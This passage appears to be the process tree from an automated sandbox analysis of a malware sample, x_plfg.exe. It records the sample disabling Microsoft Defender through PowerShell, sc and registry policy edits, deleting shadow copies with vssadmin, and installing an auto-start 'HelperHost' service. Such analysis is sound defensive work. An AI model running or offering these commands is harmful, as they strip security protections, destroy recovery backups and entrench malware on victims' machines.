        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        24⤵
        
        PID:15016
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        25⤵
        Checks computer location settings
        
        PID:17064
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        26⤵
        
        PID:17840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        27⤵
        
        PID:4412
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:19692
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        22⤵
        
        PID:16156
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        22⤵
        
        PID:13504
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:11864
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:13832
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:15340
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        23⤵
        
        PID:18232
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        22⤵
        
        PID:7096
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        22⤵
        
        PID:6336
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:8732
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:15548
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        20⤵
        
        PID:2492
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:11568
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:13204
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:13780
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:16080
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        20⤵
        
        PID:3052
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        20⤵
        
        PID:6640
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        18⤵
        
        PID:4136
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:19512
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        18⤵
        
        PID:4356
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:11316
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:11100
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:13024
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        Checks computer location settings
        
        PID:14912
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:9592
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:15548
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2"
        21⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:17432
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:8944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:18816
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:17008
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:2952
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:17440
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:7120
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:12804
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        16⤵
        
        PID:14084
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:11060
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:12132
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:12956
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        Checks computer location settings
        
        PID:14880
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:16464
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        18⤵
        
        PID:19016
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        
        PID:17924
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        18⤵
        
        PID:1068
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        16⤵
        
        PID:18840
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:3884
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        16⤵
        
        PID:14184
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:10932
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:11916
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:11508
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Checks computer location settings
        
        PID:13660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:15552
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:18224
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:16188
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        14⤵
        
        PID:19100
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        14⤵
        
        PID:18716
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:16424
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableBehaviorMonitoring /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableOnAccessProtection /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection" /v DisableScanOnRealtimeEnable /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v DisableBlockAtFirstSeen /t REG_DWORD /d 1 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SpynetReporting /t REG_DWORD /d 0 /f 2>nul & reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\SpyNet" /v SubmitSamplesConsent /t REG_DWORD /d 2 /f 2>nul
        12⤵
        
        PID:856
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        10⤵
        
        PID:10628
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        Checks computer location settings
        
        PID:11124
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:11752
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:13364
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:14088
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:17404
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        
        PID:4492
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:14228
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:17896
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:8900
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:6588
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        Checks computer location settings
        
        PID:16964
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:10528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:10992
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:11528
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:12988
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:13632
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        
        PID:16788
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:17792
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        10⤵
        
        PID:2520
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:4320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c vssadmin delete shadows /all /quiet 2>nul
        10⤵
        
        PID:5144
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Checks computer location settings
        
        PID:17944
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:17948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:17140
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        6⤵
        
        PID:10336
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        Checks computer location settings
        
        PID:11108
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:11760
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:13848
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:15156
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:18320
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:18808
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:12904
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        8⤵
        
        PID:20168
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
      4⤵
      PID:10076
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        Checks computer location settings
        
        PID:9652
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:10408
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:11036
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:11464
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        
        PID:12876
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:13544
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:15720
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:17244
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        12⤵
        
        PID:9016
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc stop WinDefend 2>nul
        12⤵
        
        PID:15044
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c sc config WinDefend start=disabled 2>nul
        8⤵
        
        PID:17652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c sc create "HelperHost" binPath= "\"C:\Users\Admin\AppData\Local\Temp\x_plfg.exe\"" start= auto type= own DisplayName= "HelperHost" 2>nul
  2⤵
  PID:7996
- - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
    3⤵
    PID:8160
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
      4⤵
      PID:7816
    - - C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        5⤵
        
        PID:7852
      - C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        6⤵
        
        PID:8288
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        7⤵
        
        PID:8440
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        8⤵
        
        PID:8580
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        9⤵
        Checks computer location settings
        
        PID:8696
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        10⤵
        
        PID:8812
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        11⤵
        
        PID:8948
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        12⤵
        
        PID:9064
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        13⤵
        Checks computer location settings
        
        PID:8728
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        14⤵
        
        PID:9228
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        15⤵
        Checks computer location settings
        
        PID:9388
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        16⤵
        
        PID:9496
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        17⤵
        
        PID:9660
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        18⤵
        
        PID:9764
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        19⤵
        Checks computer location settings
        
        PID:9904
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        20⤵
        
        PID:10032
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        
        C:\Users\Admin\AppData\Local\Temp\x_plfg.exe
        21⤵
        
        PID:10176
        
        C:\Windows\System32\cmd.exe
        
        "C:\Windows\System32\cmd.exe" /c powershell -NonInteractive -Command "Set-MpPreference -DisableRealtimeMonitoring $true -DisableIOAVProtection $true -DisableBehaviorMonitoring $true -DisableBlockAtFirstSeen $true -MAPSReporting 0 -SubmitSamplesConsent 2" 2>nul
        22⤵
        
        PID:10296
        
